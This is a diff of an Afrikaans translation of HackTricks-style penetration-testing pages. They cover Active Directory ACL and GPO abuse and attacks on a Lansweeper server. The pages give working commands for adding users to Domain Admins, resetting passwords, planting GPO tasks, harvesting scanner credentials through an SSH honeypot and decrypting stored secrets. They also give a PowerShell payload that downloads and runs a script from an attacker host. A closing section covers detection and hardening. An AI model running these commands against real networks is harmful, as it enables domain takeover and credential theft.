 - **Shadow Credentials**: Gebruik hierdie tegniek om as 'n rekenaar of gebruikersrekening op te tree deur die voorregte te misbruik om shadow credentials te skep.

 ## **WriteProperty on Group**

-As 'n gebruiker `WriteProperty`-regte op alle voorwerpe vir 'n spesifieke groep (bv. `Domain Admins`) het, kan hulle:
+As 'n gebruiker `WriteProperty`-regte het op alle objekte vir 'n spesifieke groep (bv. `Domain Admins`), kan hulle:

- **Voeg hulself by die Domain Admins-groep**: Dit kan bereik word deur die `net user`- en `Add-NetGroupUser`-opdragte te kombineer; hierdie metode maak privilege escalation binne die domein moontlik.
+- **Voeg hulself by die Domain Admins Group**: Deur die `net user` en `Add-NetGroupUser` opdragte te kombineer, laat hierdie metode privilege escalation binne die domein toe.
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
-## **Self (Self-lidmaatskap) op Groep**
+## **Self (Self-Membership) on Group**

-Hierdie voorreg stel aanvalers in staat om hulself by spesifieke groepe te voeg, soos `Domain Admins`, deur opdragte wat groepslidmaatskap direk manipuleer. Deur die volgende opdragreeks te gebruik, kan hulle hulself byvoeg:
+Hierdie voorreg stel aanvalers in staat om hulself by spesifieke groepe te voeg, soos `Domain Admins`, deur opdragte te gebruik wat groeplidmaatskap direk manipuleer. Die volgende opdragreeks maak selftoevoeging moontlik:
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
 ## **WriteProperty (Self-Membership)**

-'n Gelyksoortige voorreg, dit laat aanvallers toe om hulself direk by groepe te voeg deur groeps-eienskappe te wysig as hulle die `WriteProperty` reg op daardie groepe het. Die bevestiging en uitvoering van hierdie voorreg word uitgevoer met:
+'n Gelykwaardige reg: dit stel aanvallers in staat om hulself direk by groepe te voeg deur die eienskappe van die groep te wysig as hulle die `WriteProperty` reg op daardie groepe het. Die bevestiging en uitvoering van hierdie reg word gedoen met:
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 net group "domain admins" spotless /add /domain
 ```
 ## **ForceChangePassword**

-Om die `ExtendedRight` op 'n gebruiker vir `User-Force-Change-Password` te hê, maak dit moontlik om wagwoorde terug te stel sonder om die huidige wagwoord te ken. Die verifikasie van hierdie reg en die uitbuiting daarvan kan deur PowerShell of alternatiewe command-line tools gedoen word, en bied verskeie metodes om 'n gebruiker se wagwoord te herstel, insluitend interactive sessions en one-liners vir non-interactive omgewings. Die opdragte wissel van eenvoudige PowerShell-oproepe tot die gebruik van `rpcclient` op Linux, en demonstreer die veelsydigheid van attack vectors.
+Om die `ExtendedRight` op 'n gebruiker vir `User-Force-Change-Password` te hê, maak dit moontlik om wagwoorde terug te stel sonder om die huidige wagwoord te ken. Verifiëring van hierdie reg en die uitbuiting daarvan kan deur middel van PowerShell of alternatiewe opdragreël-gereedskap gedoen word, en bied verskeie metodes om 'n gebruiker se wagwoord te herstel, insluitend interaktiewe sessies en eenreël-opdragte vir nie-interaktiewe omgewings. Die opdragte wissel van eenvoudige PowerShell-aanroepe tot die gebruik van `rpcclient` op Linux, wat die veelsydigheid van aanvalsvektore demonstreer.
 ```bash
 Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainUserPassword -Identity delegate -Verbose
@ -85,9 +85,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
 rpcclient -U KnownUsername 10.10.10.192
 > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
 ```
-## **WriteOwner op groep**
+## **WriteOwner op Groep**

-As 'n aanvaller ontdek dat hulle `WriteOwner`-regte oor 'n groep het, kan hulle die eienaarskap van die groep na hulself verander. Dit is veral invloedryk wanneer die betrokke groep `Domain Admins` is, aangesien die verandering van eienaarskap breër beheer oor groepseienskappe en lidmaatskap moontlik maak. Die proses behels die identifisering van die korrekte objek met `Get-ObjectAcl` en daarna die gebruik van `Set-DomainObjectOwner` om die eienaar te wysig — hetsy deur SID of naam.
+As 'n aanvaller ontdek dat hulle `WriteOwner`-regte oor 'n groep het, kan hulle die eienaarskap van daardie groep na hulself verander. Dit is veral ingrypend wanneer die betrokke groep `Domain Admins` is, aangesien die verandering van eienaarskap 'n breër beheer oor groepskenmerke en lidmaatskap moontlik maak. Die proses behels om die korrekte objek te identifiseer via `Get-ObjectAcl` en dan `Set-DomainObjectOwner` te gebruik om die eienaar te wysig, hetsy deur SID of naam.
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
@ -95,13 +95,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
 ```
 ## **GenericWrite op Gebruiker**

-Hierdie toestemming stel 'n aanvaller in staat om gebruiker-eienskappe te wysig. Spesifiek, met `GenericWrite` toegang kan die aanvaller die pad na die aanmeldskrip van 'n gebruiker verander om 'n kwaadwillige skrip by gebruiker-aanmelding uit te voer. Dit word bereik deur die `Set-ADObject` opdrag te gebruik om die `scriptpath` eienskap van die teiken-gebruiker by te werk sodat dit na die aanvaller se skrip wys.
+Hierdie toestemming laat 'n aanvaller toe om gebruiker-eienskappe te wysig. Spesifiek, met `GenericWrite`-toegang kan die aanvaller die pad van die aanmeldskrip van 'n gebruiker verander om 'n kwaadwillige skrip uit te voer wanneer die gebruiker aanmeld. Dit word bereik deur die `Set-ADObject`-opdrag te gebruik om die `scriptpath`-eienskap van die teiken-gebruiker op te dateer sodat dit na die aanvaller se skrip wys.
 ```bash
 Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
 ```
 ## **GenericWrite on Group**

-Met hierdie voorreg kan aanvallers groepslidmaatskap manipuleer, soos om hulself of ander gebruikers by spesifieke groepe te voeg. Hierdie proses behels die skep van 'n credential object, dit te gebruik om gebruikers by 'n groep te voeg of te verwyder, en die lidmaatskapveranderinge met PowerShell-opdragte te verifieer.
+Met hierdie voorreg kan aanvallers groepslidmaatskap manipuleer, soos om hulself of ander gebruikers by spesifieke groepe te voeg. Hierdie proses behels die skep van 'n credential object, die gebruik daarvan om gebruikers by 'n groep te voeg of te verwyder, en die verifikasie van die lidmaatskapveranderinge met PowerShell-opdragte.
 ```bash
 $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
 $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -111,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
 ```
 ## **WriteDACL + WriteOwner**

-Om 'n AD-objek te besit en om `WriteDACL`-privileges daarop te hê, stel 'n aanvaller in staat om hulself `GenericAll`-privileges oor die objek toe te ken. Dit word bereik deur ADSI-manipulasie, wat volle beheer oor die objek en die vermoë om sy groepslidmaatskappe te wysig, moontlik maak. Tog bestaan daar beperkings wanneer mens probeer om hierdie privileges te misbruik met die Active Directory-module se `Set-Acl` / `Get-Acl` cmdlets.
+Om 'n AD object te besit en `WriteDACL`-privilegies daarop te hê, stel 'n aanvaller in staat om hulself `GenericAll`-privilegies oor die object toe te ken. Dit word gedoen deur ADSI-manipulasie, wat volle beheer oor die object en die vermoë om sy groepslidmaatskappe te verander, toelaat. Desondanks bestaan daar beperkings wanneer hierdie privilegies probeer uitgebruik word met die Active Directory-module se `Set-Acl` / `Get-Acl` cmdlets.
 ```bash
 $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
 $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -119,64 +119,64 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
 $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
 $ADSI.psbase.commitchanges()
 ```
-## **Replikasie op die domein (DCSync)**
+## **Replisering op die Domein (DCSync)**

-Die DCSync-aanval maak gebruik van spesifieke replikasiepermsies op die domein om 'n Domain Controller na te boots en data, insluitend gebruikersbewyse, te sinkroniseer. Hierdie kragtige tegniek vereis permsies soos `DS-Replication-Get-Changes`, wat aanvallers toelaat om sensitiewe inligting uit die AD-omgewing te onttrek sonder direkte toegang tot 'n Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
+Die DCSync-aanval gebruik spesifieke repliseringspermisse op die domein om 'n Domain Controller na te boots en data, insluitend gebruikersbewyse, te sinkroniseer. Hierdie kragtige tegniek vereis permissies soos `DS-Replication-Get-Changes`, wat aanvallers toelaat om sensitiewe inligting uit die AD-omgewing te onttrek sonder direkte toegang tot 'n Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)

-## GPO Delegasie <a href="#gpo-delegation" id="gpo-delegation"></a>
+## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>

 ### GPO-delegasie

-Gedelegeerde toegang om Group Policy Objects (GPOs) te bestuur kan beduidende sekuriteitsrisiko's inhou. Byvoorbeeld, as aan 'n gebruiker soos `offense\spotless` GPO-bestuursregte gedelegeer is, kan hulle voorregte hê soos **WriteProperty**, **WriteDacl**, en **WriteOwner**. Hierdie regte kan misbruik word vir kwaadwillige doeleindes, soos geïdentifiseer met PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+Gedelegeerde toegang om Group Policy Objects (GPOs) te bestuur kan beduidende sekuriteitsrisiko's inhou. Byvoorbeeld, as 'n gebruiker soos `offense\spotless` GPO-bestuursregte gedelegeer is, kan hulle voorregte hê soos **WriteProperty**, **WriteDacl**, en **WriteOwner**. Hierdie permissies kan vir kwaadwillige doeleindes misbruik word, soos geïdentifiseer met PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

 ### GPO-permissies opspoor

-Om verkeerd gekonfigureerde GPOs te identifiseer, kan PowerSploit se cmdlets aanmekaar gekoppel word. Dit laat toe om GPOs te ontdek wat 'n spesifieke gebruiker mag bestuur: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+Om verkeerd gekonfigureerde GPOs te identifiseer, kan PowerSploit se cmdlets aan mekaar gekoppel word. Dit maak die ontdekking van GPOs wat 'n spesifieke gebruiker mag bestuur moontlik: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

-**Rekenaars met 'n gegewe beleid toegepas**: Dit is moontlik om te bepaal op watter rekenaars 'n spesifieke GPO toegepas is, wat help om die omvang van potensiële impak te verstaan. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
+**Rekenaars met 'n gegewe beleid toegepas**: Dit is moontlik om te bepaal op watter rekenaars 'n spesifieke GPO van toepassing is, wat help om die omvang van die potensiële impak te verstaan. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`

-**Beleide toegepas op 'n gegewe rekenaar**: Om te sien watter beleide op 'n bepaalde rekenaar toegepas is, kan opdragte soos `Get-DomainGPO` gebruik word.
+**Beleid(e) toegepas op 'n gegewe rekenaar**: Om te sien watter beleide op 'n bepaalde rekenaar toegepas word, kan opdragte soos `Get-DomainGPO` gebruik word.

-**OUs waarop 'n gegewe beleid toegepas is**: Die identifisering van organisasie-eenhede (OUs) wat deur 'n gegewe beleid geaffekteer word, kan met `Get-DomainOU` gedoen word.
+**OUs met 'n gegewe beleid toegepas**: Die identifisering van organisatoriese eenhede (OUs) wat deur 'n gegewe beleid geraak word, kan gedoen word met `Get-DomainOU`.

-Jy kan ook die hulpmiddel [**GPOHound**](https://github.com/cogiceo/GPOHound) gebruik om GPOs te verken en probleme daarin te vind.
+Jy kan ook die instrument [**GPOHound**](https://github.com/cogiceo/GPOHound) gebruik om GPOs te opspoor en probleme daarin te vind.

 ### Misbruik GPO - New-GPOImmediateTask

-Verkeerd gekonfigureerde GPOs kan uitgebuit word om kode uit te voer, byvoorbeeld deur 'n onmiddellike geskeduleerde taak te skep. Dit kan gebruik word om 'n gebruiker by die plaaslike administratorsgroep op geraakte masjiene te voeg, wat bevoegdhede beduidend verhoog:
+Verkeerd gekonfigureerde GPOs kan uitgebuit word om kode uit te voer, byvoorbeeld deur 'n onmiddellike geskeduleerde taak te skep. Dit kan gebruik word om 'n gebruiker by die plaaslike administrators-groep op aangetaste masjiene te voeg, wat die voorregte aansienlik verhoog:
 ```bash
 New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
 ```
 ### GroupPolicy module - Abuse GPO

-Die GroupPolicy module, indien geïnstalleer, maak dit moontlik om nuwe GPOs te skep en te koppel, en om voorkeure soos registry values te stel om backdoors op aangetaste rekenaars uit te voer. Hierdie metode vereis dat die GPO opgedateer word en dat 'n gebruiker op die rekenaar aanmeld vir uitvoering:
+Die GroupPolicy module, as dit geïnstalleer is, maak die aanmaak en koppel van nuwe GPOs moontlik, en die instel van voorkeure soos registry values om backdoors op aangetaste rekenaars uit te voer. Hierdie metode vereis dat die GPO opgedateer word en dat 'n gebruiker by die rekenaar aanmeld vir uitvoering:
 ```bash
 New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
 Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
 ```
 ### SharpGPOAbuse - Abuse GPO

-SharpGPOAbuse bied 'n metode om bestaande GPOs te abuse deur take by te voeg of instellings te wysig sonder die behoefte om nuwe GPOs te skep. Hierdie tool vereis die wysiging van bestaande GPOs of die gebruik van RSAT tools om nuwe GPOs te skep voordat veranderinge toegepas word:
+SharpGPOAbuse bied 'n metode om bestaande GPOs te misbruik deur take by te voeg of instellings te wysig sonder die behoefte om nuwe GPOs te skep. Hierdie tool vereis dat bestaande GPOs gewysig word of dat RSAT tools gebruik word om nuwe GPOs te skep voordat veranderinge toegepas word:
 ```bash
 .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
 ```
-### Dwing beleidsopdatering
+### Beleid-opdatering afdwing

-GPO-opdaterings gebeur gewoonlik ongeveer elke 90 minute. Om hierdie proses te versnel, veral nadat ’n verandering toegepas is, kan die `gpupdate /force` opdrag op die teikenrekenaar gebruik word om ’n onmiddellike beleidsopdatering af te dwing. Hierdie opdrag verseker dat enige wysigings aan GPOs toegepas word sonder om te wag vir die volgende outomatiese opdateringsiklus.
+GPO-opdaterings gebeur gewoonlik ongeveer elke 90 minute. Om hierdie proses te versnel, veral nadat 'n verandering geïmplementeer is, kan die `gpupdate /force`-opdrag op die teikenrekenaar gebruik word om 'n onmiddellike beleidsopdatering af te dwing. Hierdie opdrag verseker dat enige wysigings aan GPOs toegepas word sonder om vir die volgende outomatiese opdateringsiklus te wag.

-### Onder die kap
+### Onder die enjinkap

-By die inspeksie van die Geskeduleerde take vir ’n gegewe GPO, soos die `Misconfigured Policy`, kan die toevoeging van take soos `evilTask` bevestig word. Hierdie take word geskep deur skripte of opdragreël-gereedskap wat daarop gemik is om stelselgedrag te verander of privileges te eskaleer.
+By inspeksie van die Geskeduleerde Take vir 'n gegewe GPO, soos die `Misconfigured Policy`, kan die toevoeging van take soos `evilTask` bevestig word. Hierdie take word geskep deur skripte of opdragreël-gereedskap wat daarop gemik is om stelselgedrag te verander of om voorregte te eskaleer.

-Die struktuur van die taak, soos getoon in die XML-konfigurasielêer wat deur `New-GPOImmediateTask` gegenereer is, beskryf die besonderhede van die geskeduleerde taak — insluitende die opdrag wat uitgevoer moet word en sy triggers. Hierdie lêer verteenwoordig hoe geskeduleerde take binne GPOs gedefinieer en bestuur word, en bied ’n metode om arbitrêre opdragte of skripte uit te voer as deel van beleidstoepassing.
+Die struktuur van die taak, soos getoon in die XML-konfigurasielêer wat deur `New-GPOImmediateTask` gegenereer is, beskryf die besonderhede van die geskeduleerde taak — insluitend die opdrag wat uitgevoer moet word en die triggers daarvan. Hierdie lêer verteenwoordig hoe geskeduleerde take binne GPOs gedefinieer en bestuur word, en bied 'n metode om arbitrêre opdragte of skripte as deel van beleidsafdwinging uit te voer.

-### Users and Groups
+### Gebruikers en Groepe

-GPOs laat ook toe dat gebruiker- en groep-lidmaatskappe op teikenstelsels gemanipuleer word. Deur die Users and Groups beleidslêers direk te wysig, kan aanvallers gebruikers by bevoorregte groepe voeg, soos die plaaslike `administrators` groep. Dit is moontlik deur die delegasie van GPO-bestuursregte, wat die wysiging van beleidslêers toelaat om nuwe gebruikers by te voeg of groepslidmaatskappe te verander.
+GPOs laat ook toe om gebruikers- en groepledemaatskappe op teikenstelsels te manipuleer. Deur die Users and Groups-beleidlêers direk te wysig, kan aanvallers gebruikers by bevoorregte groepe voeg, soos die plaaslike `administrators`-groep. Dit is moontlik deur die delegasie van GPO-bestuurspermsies, wat die wysiging van beleidslêers toelaat om nuwe gebruikers in te sluit of groepledemaatskappe te verander.

-Die XML-konfigurasielêer vir Users and Groups beskryf hoe hierdie veranderinge geïmplementeer word. Deur inskrywings by hierdie lêer te voeg, kan spesifieke gebruikers verhoogde regte oor aangetaste stelsels verkry. Hierdie metode bied ’n direkte benadering tot privilege escalation deur GPO-manipulasie.
+Die XML-konfigurasielêer vir Users and Groups beskryf hoe hierdie veranderinge geïmplementeer word. Deur inskrywings by hierdie lêer te voeg, kan spesifieke gebruikers verhoogde voorregte oor getroffenen stelsels toegeken word. Hierdie metode bied 'n direkte benadering tot die eskalering van voorregte deur middel van GPO-manipulasie.

-Verder kan addisionele metodes vir die uitvoer van kode of die handhawing van persistentie oorweeg word, soos die gebruik van logon/logoff scripts, die wysiging van registry keys vir autoruns, die installering van sagteware via .msi-lêers, of die redigering van service configurations. Hierdie tegnieke bied verskeie paaie om toegang te behou en teikenstelsels te beheer deur die misbruik van GPOs.
+Boonop kan aanvullende metodes oorweeg word om kode uit te voer of persistenie te handhaaf, soos die gebruik van logon/logoff-skripte, die wysiging van registersleutels vir autoruns, die installering van sagteware via .msi-lêers, of die redigering van dienskonfigurasies. Hierdie tegnieke bied verskeie weë om toegang te behou en teikenstelsels te beheer deur die misbruik van GPOs.

 ## Verwysings

--- a/src/windows-hardening/active-directory-methodology/lansweeper-security.md
+++ b/src/windows-hardening/active-directory-methodology/lansweeper-security.md
@ -1,30 +1,30 @@
-# Lansweeper Misbruik: Credential Harvesting, Secrets Decryption, and Deployment RCE
+# Lansweeper Misbruik: Kredensiaal-insameling, Secrets-dekripsie, en Deployment RCE

 {{#include ../../banners/hacktricks-training.md}}

-Lansweeper is 'n IT asset discovery en inventory platform wat algemeen op Windows gedeploy word en met Active Directory geïntegreer is. Credentials wat in Lansweeper gekonfigureer is, word deur sy scanning engines gebruik om by assets te authentiseer oor protokolle soos SSH, SMB/WMI en WinRM. Misconfigurasies laat dikwels toe:
+Lansweeper is 'n IT-bates-ontdekking en inventarisplatform wat algemeen op Windows ontplooi word en met Active Directory geïntegreer is. Kredensiale wat in Lansweeper gekonfigureer is, word deur sy skandeer-enjins gebruik om te verifieer by stelsels oor protokolle soos SSH, SMB/WMI en WinRM. Verkeerde konfigurasies laat dikwels toe:

- Credential interception deur 'n scanning target na 'n aanvaller-beheerde gasheer (honeypot) te herlei
- Abuse of AD ACLs wat deur Lansweeper-related groups blootgestel word om remote toegang te kry
- On-host decryption van Lansweeper-configured secrets (connection strings en stored scanning credentials)
- Code execution op managed endpoints via die Deployment feature (dikwels lopend as SYSTEM)
+- Kredensiaalafluistering deur 'n skandeer-doelwit na 'n aanvaller-beheerde gasheer te herlei (honeypot)
+- Misbruik van AD ACLs wat deur Lansweeper-verwante groepe blootgestel word om afstandstoegang te verkry
+- Dekripsie op die gasheer van Lansweeper-gekonfigureerde secrets (connection strings en gestoor skandeer-kredensiale)
+- Kode-uitvoering op bestuurde eindpunte via die Deployment-funksie (gereeld as SYSTEM)

-Hierdie bladsy som praktiese aanvaller-werkvloei en opdragte op om hierdie gedrag tydens engagements te misbruik.
+Hierdie bladsy som praktiese aanval-werkvloei en opdragte op om hierdie gedrag tydens engagements te misbruik.

 ## 1) Harvest scanning credentials via honeypot (SSH example)

-Idee: skep 'n Scanning Target wat na jou gasheer wys en koppel bestaande Scanning Credentials daaraan. Wanneer die scan loop, sal Lansweeper probeer om met daardie credentials te authentiseer, en jou honeypot sal dit vasvang.
+Idea: create a Scanning Target that points to your host and map existing Scanning Credentials to it. When the scan runs, Lansweeper will attempt to authenticate with those credentials, and your honeypot will capture them.

-Stappe oorsig (web UI):
+Steps overview (web UI):
 - Scanning → Scanning Targets → Add Scanning Target
- Tipe: IP Range (or Single IP) = jou VPN IP
- Konfigureer die SSH-poort na iets bereikbaar (bv. 2022 as 22 geblokkeer is)
- Deaktiveer die schedule en beplan om dit handmatig te trigger
- Scanning → Scanning Credentials → verseker dat Linux/SSH creds bestaan; koppel dit aan die nuwe target (enable all as needed)
- Klik “Scan now” op die target
- Run an SSH honeypot en vang die gepoogde gebruikersnaam/wagwoord op
+- Type: IP Range (or Single IP) = your VPN IP
+- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
+- Disable schedule and plan to trigger manually
+- Scanning → Scanning Credentials → ensure Linux/SSH creds exist; map them to the new target (enable all as needed)
+- Click “Scan now” on the target
+- Run an SSH honeypot and retrieve the attempted username/password

-Example with sshesame:
+Voorbeeld met sshesame:
 ```yaml
 # sshesame.conf
 server:
@ -39,7 +39,7 @@ sshesame --config sshesame.conf
 # authentication for user "svc_inventory_lnx" with password "<password>" accepted
 # connection with client version "SSH-2.0-RebexSSH_5.0.x" established
 ```
-Valideer vasgevangde creds teen DC-dienste:
+Valideer captured creds teen DC-dienste:
 ```bash
 # SMB/LDAP/WinRM checks (NetExec)
 netexec smb   inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
@ -47,12 +47,12 @@ netexec ldap  inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
 Aantekeninge
- Werk soortgelyk vir ander protokolle wanneer jy die scanner na jou luisteraar kan dwing (SMB/WinRM honeypots, ens.). SSH is dikwels die eenvoudigste.
- Baie scanners identifiseer hulself met onderskeibare client banners (bv. RebexSSH) en sal onskadelike opdragte (uname, whoami, ens.) probeer.
+- Werk soortgelyk vir ander protokolle wanneer jy die scanner na jou listener kan dwing (SMB/WinRM honeypots, ens.). SSH is dikwels die eenvoudigste.
+- Baie scanners identifiseer hulself met kenmerkende kliëntbanners (bv. RebexSSH) en sal benigne opdragte probeer (uname, whoami, ens.).

-## 2) AD ACL abuse: kry afstandstoegang deur jouself by 'n app-admin group te voeg
+## 2) AD ACL abuse: verkry afstandstoegang deur jouself by 'n app-admin group te voeg

-Gebruik BloodHound om die effektiewe regte van die gekompromitteerde rekening te enumereer. 'n Algemene bevinding is 'n scanner- of app-specific group (bv. “Lansweeper Discovery”) wat GenericAll het oor 'n bevoorregte groep (bv. “Lansweeper Admins”). As die bevoorregte groep ook lid is van “Remote Management Users”, word WinRM beskikbaar sodra ons onsself byvoeg.
+Gebruik BloodHound om die effektiewe regte van die gekompromiteerde rekening op te som. 'n Algemene bevinding is 'n scanner- of app-spesifieke groep (bv. “Lansweeper Discovery”) wat GenericAll oor 'n bevoorregte groep (bv. “Lansweeper Admins”) het. As die bevoorregte groep ook lid is van “Remote Management Users”, word WinRM beskikbaar sodra ons onsself byvoeg.

 Versamelvoorbeelde:
 ```bash
@ -71,24 +71,24 @@ add groupMember "Lansweeper Admins" svc_inventory_lnx
 # Confirm WinRM access if the group grants it
 netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Kry dan 'n interactive shell:
+Kry dan 'n interaktiewe shell:
 ```bash
 evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Wenk: Kerberos-operasies is tydsensitief. As jy KRB_AP_ERR_SKEW kry, sinkroniseer eers met die DC:
+Wenk: Kerberos-operasies is tydsgevoelig. As jy KRB_AP_ERR_SKEW kry, sinkroniseer eers met die DC:
 ```bash
 sudo ntpdate <dc-fqdn-or-ip>   # or rdate -n <dc-ip>
 ```
 ## 3) Ontsleutel Lansweeper-gekonfigureerde geheime op die gasheer

-Op die Lansweeper-bediener stoor die ASP.NET-webwerf gewoonlik 'n geënkripteerde connection string en 'n symmetriesleutel wat deur die toepassing gebruik word. Met toepaslike plaaslike toegang kan jy die DB connection string ontsleutel en dan die gestoorde scanning credentials ekstraheer.
+Op die Lansweeper-bediener stoor die ASP.NET-site gewoonlik 'n versleutelde connection string en 'n simmetriese sleutel wat deur die toepassing gebruik word. Met toepaslike plaaslike toegang kan jy die DB connection string ontsleutel en dan die gestoor scanning credentials uittrek.

-Tipiese liggings:
- Web-config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
+Tipiese plekke:
+- Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
 - `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
 - Toepassingsleutel: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`

-Gebruik SharpLansweeperDecrypt om ontcijfering en dumping van gestoorde creds te outomatiseer:
+Gebruik SharpLansweeperDecrypt om ontsleuteling en die dump van gestoor creds te outomatiseer:
 ```powershell
 # From a WinRM session or interactive shell on the Lansweeper host
 # PowerShell variant
@ -99,7 +99,7 @@ powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
 #  - Connect to Lansweeper DB
 #  - Decrypt stored scanning credentials and print them in cleartext
 ```
-Die verwagte uitset sluit DB-verbindingbesonderhede en plaintext-skanderings-inlogbewyse in, soos Windows- en Linux-rekeninge wat oor die omgewing gebruik word. Hierdie rekeninge het dikwels verhoogde plaaslike regte op domein-gashere:
+Verwagte uitvoer sluit DB connection details en plaintext scanning credentials in, soos Windows- en Linux-rekeninge wat oor die hele omgewing gebruik word. Hierdie rekeninge het dikwels verhoogde plaaslike regte op domain hosts:
 ```text
 Inventory Windows  SWEEP\svc_inventory_win  <StrongPassword!>
 Inventory Linux    svc_inventory_lnx        <StrongPassword!>
@ -111,14 +111,14 @@ netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
 ```
 ## 4) Lansweeper Deployment → SYSTEM RCE

-As a member of “Lansweeper Admins”, the web UI exposes Deployment and Configuration. Under Deployment → Deployment packages, you can create packages that run arbitrary commands on targeted assets. Execution is performed by the Lansweeper service with high privilege, yielding code execution as NT AUTHORITY\SYSTEM on the selected host.
+As 'n lid van “Lansweeper Admins” openbaar die web UI Deployment en Configuration. Onder Deployment → Deployment packages kan jy pakkette skep wat arbitrêre opdragte op geteikende assets uitvoer. Die uitvoering word deur die Lansweeper service met hoë voorregte uitgevoer, wat kode-uitvoering as NT AUTHORITY\SYSTEM op die gekose gasheer lewer.

-Hoëvlak stappe:
- Create a new Deployment package that runs a PowerShell or cmd one-liner (reverse shell, add-user, etc.).
- Target the desired asset (e.g., the DC/host where Lansweeper runs) and click Deploy/Run now.
- Catch your shell as SYSTEM.
+High-level steps:
+- Skep 'n nuwe Deployment package wat 'n PowerShell of cmd one-liner uitvoer (reverse shell, add-user, ens.).
+- Teiken die gewenste asset (bv. die DC/host waar Lansweeper loop) en klik Deploy/Run now.
+- Kry jou shell as SYSTEM.

-Voorbeeld payloads (PowerShell):
+Example payloads (PowerShell):
 ```powershell
 # Simple test
 powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
@ -127,21 +127,21 @@ powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
 powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
 ```
 OPSEC
- Ontplooiingsaksies is luidrugtig en laat logs in Lansweeper en in die Windows event logs. Gebruik dit versigtig.
+- Ontplooiingsaksies is lawaaierig en laat logs in Lansweeper en Windows event logs. Gebruik dit spaarsaam.

 ## Opsporing en verharding

- Beperk of verwyder anonieme SMB-enumerasies. Monitor vir RID-cycling en abnormale toegang tot Lansweeper shares.
- Egress-controles: blokkeer of beperk streng uitgaande SSH/SMB/WinRM vanaf scanner-hosts. Waarsku op nie-standaard poorte (bv. 2022) en ongewone kliëntbanners soos Rebex.
- Beskerm `Website\\web.config` en `Key\\Encryption.txt`. Externaliseer secrets in 'n vault en roteer dit by blootstelling. Oorweeg service accounts met minimale bevoegdhede en gMSA waar toepaslik.
- AD-monitoring: waarsku op veranderinge aan Lansweeper-related groups (bv. “Lansweeper Admins”, “Remote Management Users”) en op ACL-wysigings wat GenericAll/Write-lidmaatskap op bevoorregte groepe toeken.
- Ouudit die skepping/wysiging/uitvoering van Deployment-pakkette; waarsku op pakkette wat cmd.exe/powershell.exe spawn of onverwagte uitgaande verbindings.
